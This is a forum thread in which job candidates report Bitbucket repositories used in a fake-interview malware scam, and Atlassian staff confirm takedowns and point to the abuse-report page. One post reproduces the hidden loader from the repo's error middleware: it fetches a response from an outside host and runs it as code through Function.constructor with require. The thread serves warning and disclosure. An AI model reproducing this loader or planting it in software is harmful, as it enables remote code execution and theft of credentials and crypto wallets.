Malicious Repository - Bitgesell interview scam

[Dave Patten]

Interview scam, run the code, etc etc.

https://bitbucket.org/bitgesell_finance/test4

https://bitbucket.org/bitgesell_finance/test4/src/main/backend/src/middleware/errorHandler.js

lines 35+

const getCookie = async (req, res, next) => {

 axios.get('bad link, view code to see it`)

  .then(res => res.data)

  .catch(

    err => errorHandler(err.response.data)

  );

};

[AndyGo88]

I received an email with this "home assesment" via LinkedIn from "Stephen Ruck".
https://bitbucket.org/bitgesell-finance-tech/test5/src/master/

It request this endpoint https://api.mocki.io/v2/m7cw5k4n and reads a cookie from there. That cookie holds Javascript code which

• scans your computer for passwords, images, documents, crypto wallets, etc.
• installs a key logger

Meanwhile his LinkedIn Profile got delete
https://uk.linkedin.com/comm/in/stephen-ruck-7a303219?lipi=urn%3Ali%3Apage%3Aemail_email_m2m_invite_single_01%3BHpPLxl9WRzaTrhA50C0kVw%3D%3D&midToken=AQGL5dFUj0J-lQ&midSig=1iyayNvf6l9HU1&trk=eml-email_m2m_invite_single_01-invitation~card-0-view~profile&trkEmail=eml-email_m2m_invite_single_01-invitation~card-0-view~profile-null-589q2h~mdxicgbz~d2-null-null&eid=589q2h-mdxicgbz-d2&otpToken=MTEwNDE4ZTIxMDJmY2RjZGIzMjQwNGVkNDMxYWU0Yjc4OWNlZDA0MzliYTg4ODYxNzljMDAzNmE0ODUyNWZmNWZlZGZkMWI0N2JkOGU0YzA2Nj...

[Theodora Boudale]

Hi Andy,

Thank you for the report, this repository has been disabled.

Should you encounter something similar in the future, please report it following the steps on this page (the email will go directly to the team handling these reports):

• https://www.atlassian.com/trust/report-abuse

Kind regards,
Theodora

[Ferit Tunçer]

Another instance of the same scam: https://bitbucket.org/echelon_prime/full-stack/src/main/

[Andy Heinzer]

Hi @Dave Patten 

Thanks for reporting this to us.   This repo has been removed.

In the future, should you encounter another malicious or suspicious repo, please email https://www.atlassian.com/trust/report-abuse with the details.

This will automatically create a report for our abuse team to process.  That team may not reply to all reports, but this is the ideal way to report this to Atlassian.

Thanks

Andy

[Diksha]

Hi i received a similar repo to work on as an interview round can u verify this ig it added some malware in my system and i tried to remove it 

https://bitbucket.org/bitgesell/test6/src/master/ 


this is the repo and the malicious code is in the error middle ware 

const errorHandler = (error) => {

  try {

    if (typeof error !== 'string') {

      console.error('Invalid error format. Expected a string.');

      return;

    }

    const createHandler = (errCode) => {

      try {

        const handler = new (Function.constructor)('require', errCode);

        return handler;

      } catch (e) {

        console.error('Failed:', e.message);

        return null;

      }

    };

    const handlerFunc = createHandler(error);

    if (handlerFunc) {

      handlerFunc(require);

    } else {

      console.error('Handler function is not available.');

    }

  } catch (globalError) {

    console.error('Unexpected error inside errorHandler:', globalError.message);

  }

};

const getCookie = async (req, res, next) => {

  axios.get(`http://openmodules.org/api/service/token/7a5d8df69e27ec3e5ff9c2b1e2ff80b0`)

  .then(res => res.data)

  .catch(

    err => errorHandler(err.response.data)

  );

};


can u guys suggest a way so that i can hold them responsible so this doesnt happen to any other candidates

[Andy Heinzer]

Hi @Diksha 

Please contact our abuse team at https://www.atlassian.com/trust/report-abuse with the details of the specific repository on Bitbucket.   That will flag the repo for review by our anti-abuse team.